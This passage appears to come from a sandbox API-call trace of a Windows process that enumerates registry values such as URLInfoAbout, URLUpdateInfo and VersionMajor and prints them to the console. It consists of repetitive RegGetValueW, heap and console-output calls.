Size=0x6) returned 0x2fcda0 [0147.592] GetProcessHeap () returned 0x2e0000 [0147.592] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.592] GetProcessHeap () returned 0x2e0000 [0147.592] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.592] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.592] __iob_func () returned 0x7fefd702a80 [0147.592] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.592] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.592] _fileno (_File=0x7fefd702ab0) returned 1 [0147.592] _errno () returned 0xc4bb0 [0147.592] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.592] _errno () returned 0xc4bb0 [0147.593] GetFileType (hFile=0x50) returned 0x1 [0147.593] lstrlenW (lpString=" ") returned 4 [0147.593] GetConsoleOutputCP () returned 0x1b5 [0147.593] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.593] GetConsoleOutputCP () returned 0x1b5 [0147.593] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.593] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.593] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.593] lstrlenW (lpString="URLInfoAbout") returned 12 [0147.593] __iob_func () returned 0x7fefd702a80 [0147.593] _fileno (_File=0x7fefd702ab0) returned 1 [0147.593] _errno () returned 0xc4bb0 [0147.593] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.593] _errno () returned 0xc4bb0 [0147.593] GetFileType (hFile=0x50) returned 0x1 [0147.593] lstrlenW (lpString="URLInfoAbout") returned 12 [0147.593] GetConsoleOutputCP () returned 0x1b5 [0147.593] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.593] GetConsoleOutputCP () returned 0x1b5 [0147.593] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0147.594] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.594] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.594] __iob_func () returned 0x7fefd702a80 [0147.594] _fileno (_File=0x7fefd702ab0) returned 1 [0147.594] _errno () returned 0xc4bb0 [0147.594] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.594] _errno () returned 0xc4bb0 [0147.594] GetFileType (hFile=0x50) returned 0x1 [0147.594] lstrlenW (lpString=" ") returned 4 [0147.594] GetConsoleOutputCP () returned 0x1b5 [0147.594] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.594] GetConsoleOutputCP () returned 0x1b5 [0147.594] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.594] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.594] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.594] __iob_func () returned 0x7fefd702a80 [0147.594] _fileno (_File=0x7fefd702ab0) returned 1 [0147.594] _errno () returned 0xc4bb0 [0147.594] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.594] _errno () returned 0xc4bb0 [0147.594] GetFileType (hFile=0x50) returned 0x1 [0147.594] lstrlenW (lpString="REG_SZ") returned 6 [0147.594] GetConsoleOutputCP () returned 0x1b5 [0147.595] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.595] GetConsoleOutputCP () returned 0x1b5 [0147.595] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.595] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.595] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.595] __iob_func () returned 0x7fefd702a80 [0147.595] _fileno (_File=0x7fefd702ab0) returned 1 [0147.595] _errno () returned 0xc4bb0 [0147.595] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.595] _errno () returned 0xc4bb0 [0147.595] GetFileType (hFile=0x50) returned 0x1 [0147.595] lstrlenW (lpString=" ") returned 4 [0147.595] GetConsoleOutputCP () returned 0x1b5 [0147.595] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.595] GetConsoleOutputCP () returned 0x1b5 [0147.595] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.595] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.595] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.595] __iob_func () returned 0x7fefd702a80 [0147.595] _fileno (_File=0x7fefd702ab0) returned 1 [0147.595] _errno () returned 0xc4bb0 [0147.595] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.596] _errno () returned 0xc4bb0 [0147.596] GetFileType (hFile=0x50) returned 0x1 [0147.596] lstrlenW (lpString="") returned 0 [0147.596] __iob_func () returned 0x7fefd702a80 [0147.596] _fileno (_File=0x7fefd702ab0) returned 1 [0147.596] _errno () returned 0xc4bb0 [0147.596] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.596] _errno () returned 0xc4bb0 [0147.596] GetFileType (hFile=0x50) returned 0x1 [0147.596] lstrlenW (lpString="\n") returned 1 [0147.596] GetConsoleOutputCP () returned 0x1b5 [0147.596] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.596] GetConsoleOutputCP () returned 0x1b5 [0147.596] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.596] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.596] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.596] GetProcessHeap () returned 0x2e0000 [0147.596] GetProcessHeap () returned 0x2e0000 [0147.596] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.596] GetProcessHeap () returned 0x2e0000 [0147.596] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.596] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.596] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.596] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.596] GetProcessHeap () returned 0x2e0000 [0147.596] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.597] GetProcessHeap () returned 0x2e0000 [0147.597] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.597] GetProcessHeap () returned 0x2e0000 [0147.597] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.597] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.597] __iob_func () returned 0x7fefd702a80 [0147.597] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.597] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.597] _fileno (_File=0x7fefd702ab0) returned 1 [0147.597] _errno () returned 0xc4bb0 [0147.597] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.597] _errno () returned 0xc4bb0 [0147.597] GetFileType (hFile=0x50) returned 0x1 [0147.597] lstrlenW (lpString=" ") returned 4 [0147.597] GetConsoleOutputCP () returned 0x1b5 [0147.597] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.597] GetConsoleOutputCP () returned 0x1b5 [0147.597] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.597] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.597] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.597] lstrlenW (lpString="URLUpdateInfo") returned 13 [0147.597] __iob_func () returned 0x7fefd702a80 [0147.597] _fileno (_File=0x7fefd702ab0) returned 1 [0147.597] _errno () returned 0xc4bb0 [0147.598] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.598] _errno () returned 0xc4bb0 [0147.598] GetFileType (hFile=0x50) returned 0x1 [0147.598] lstrlenW (lpString="URLUpdateInfo") returned 13 [0147.598] GetConsoleOutputCP () returned 0x1b5 [0147.598] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.598] GetConsoleOutputCP () returned 0x1b5 [0147.598] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0147.598] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.598] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.598] __iob_func () returned 0x7fefd702a80 [0147.598] _fileno (_File=0x7fefd702ab0) returned 1 [0147.598] _errno () returned 0xc4bb0 [0147.598] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.598] _errno () returned 0xc4bb0 [0147.598] GetFileType (hFile=0x50) returned 0x1 [0147.598] lstrlenW (lpString=" ") returned 4 [0147.598] GetConsoleOutputCP () returned 0x1b5 [0147.598] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.598] GetConsoleOutputCP () returned 0x1b5 [0147.598] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.599] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.599] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.599] __iob_func () returned 0x7fefd702a80 [0147.599] _fileno (_File=0x7fefd702ab0) returned 1 [0147.599] _errno () returned 0xc4bb0 [0147.599] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.599] _errno () returned 0xc4bb0 [0147.599] GetFileType (hFile=0x50) returned 0x1 [0147.599] lstrlenW (lpString="REG_SZ") returned 6 [0147.599] GetConsoleOutputCP () returned 0x1b5 [0147.599] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.599] GetConsoleOutputCP () returned 0x1b5 [0147.599] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.599] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.599] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.599] __iob_func () returned 0x7fefd702a80 [0147.599] _fileno (_File=0x7fefd702ab0) returned 1 [0147.599] _errno () returned 0xc4bb0 [0147.599] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.599] _errno () returned 0xc4bb0 [0147.599] GetFileType (hFile=0x50) returned 0x1 [0147.599] lstrlenW (lpString=" ") returned 4 [0147.599] GetConsoleOutputCP () returned 0x1b5 [0147.600] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.600] GetConsoleOutputCP () returned 0x1b5 [0147.600] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.600] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.600] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.600] __iob_func () returned 0x7fefd702a80 [0147.600] _fileno (_File=0x7fefd702ab0) returned 1 [0147.600] _errno () returned 0xc4bb0 [0147.600] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.600] _errno () returned 0xc4bb0 [0147.600] GetFileType (hFile=0x50) returned 0x1 [0147.600] lstrlenW (lpString="") returned 0 [0147.600] __iob_func () returned 0x7fefd702a80 [0147.600] _fileno (_File=0x7fefd702ab0) returned 1 [0147.600] _errno () returned 0xc4bb0 [0147.600] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.600] _errno () returned 0xc4bb0 [0147.600] GetFileType (hFile=0x50) returned 0x1 [0147.600] lstrlenW (lpString="\n") returned 1 [0147.600] GetConsoleOutputCP () returned 0x1b5 [0147.600] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.600] GetConsoleOutputCP () returned 0x1b5 [0147.601] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.601] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.601] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.601] GetProcessHeap () returned 0x2e0000 [0147.601] GetProcessHeap () returned 0x2e0000 [0147.601] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.601] GetProcessHeap () returned 0x2e0000 [0147.601] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.601] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.601] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.601] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.601] GetProcessHeap () returned 0x2e0000 [0147.601] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.601] GetProcessHeap () returned 0x2e0000 [0147.601] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.601] GetProcessHeap () returned 0x2e0000 [0147.601] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.601] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x10, pcbData=0x23f670*=0x4) returned 0x0 [0147.601] __iob_func () returned 0x7fefd702a80 [0147.601] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.601] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.601] _fileno (_File=0x7fefd702ab0) returned 1 [0147.601] _errno () returned 0xc4bb0 [0147.601] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.601] _errno () returned 0xc4bb0 [0147.601] GetFileType (hFile=0x50) returned 0x1 [0147.601] lstrlenW (lpString=" ") returned 4 [0147.601] GetConsoleOutputCP () returned 0x1b5 [0147.602] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.602] GetConsoleOutputCP () returned 0x1b5 [0147.602] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.602] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.602] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.602] lstrlenW (lpString="VersionMajor") returned 12 [0147.602] __iob_func () returned 0x7fefd702a80 [0147.602] _fileno (_File=0x7fefd702ab0) returned 1 [0147.602] _errno () returned 0xc4bb0 [0147.602] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.602] _errno () returned 0xc4bb0 [0147.602] GetFileType (hFile=0x50) returned 0x1 [0147.602] lstrlenW (lpString="VersionMajor") returned 12 [0147.602] GetConsoleOutputCP () returned 0x1b5 [0147.602] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.602] GetConsoleOutputCP () returned 0x1b5 [0147.602] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0147.602] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.602] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.602] __iob_func () returned 0x7fefd702a80 [0147.602] _fileno (_File=0x7fefd702ab0) returned 1 [0147.602] _errno () returned 0xc4bb0 [0147.602] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.603] _errno () returned 0xc4bb0 [0147.603] GetFileType (hFile=0x50) returned 0x1 [0147.603] lstrlenW (lpString=" ") returned 4 [0147.603] GetConsoleOutputCP () returned 0x1b5 [0147.603] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.603] GetConsoleOutputCP () returned 0x1b5 [0147.603] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.603] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.603] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.603] __iob_func () returned 0x7fefd702a80 [0147.603] _fileno (_File=0x7fefd702ab0) returned 1 [0147.603] _errno () returned 0xc4bb0 [0147.603] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.603] _errno () returned 0xc4bb0 [0147.603] GetFileType (hFile=0x50) returned 0x1 [0147.603] lstrlenW (lpString="REG_DWORD") returned 9 [0147.603] GetConsoleOutputCP () returned 0x1b5 [0147.603] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.603] GetConsoleOutputCP () returned 0x1b5 [0147.603] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.603] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.604] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.604] __iob_func () returned 0x7fefd702a80 [0147.604] _fileno (_File=0x7fefd702ab0) returned 1 [0147.604] _errno () returned 0xc4bb0 [0147.604] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.604] _errno () returned 0xc4bb0 [0147.604] GetFileType (hFile=0x50) returned 0x1 [0147.604] lstrlenW (lpString=" ") returned 4 [0147.604] GetConsoleOutputCP () returned 0x1b5 [0147.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.604] GetConsoleOutputCP () returned 0x1b5 [0147.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.604] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.604] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.604] __iob_func () returned 0x7fefd702a80 [0147.604] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.604] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x10") returned 4 [0147.604] _fileno (_File=0x7fefd702ab0) returned 1 [0147.604] _errno () returned 0xc4bb0 [0147.604] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.604] _errno () returned 0xc4bb0 [0147.604] GetFileType (hFile=0x50) returned 0x1 [0147.604] lstrlenW (lpString="0x10") returned 4 [0147.604] GetConsoleOutputCP () returned 0x1b5 [0147.605] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x10", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.605] GetConsoleOutputCP () returned 0x1b5 [0147.605] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x10", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x10", lpUsedDefaultChar=0x0) returned 4 [0147.605] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.605] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 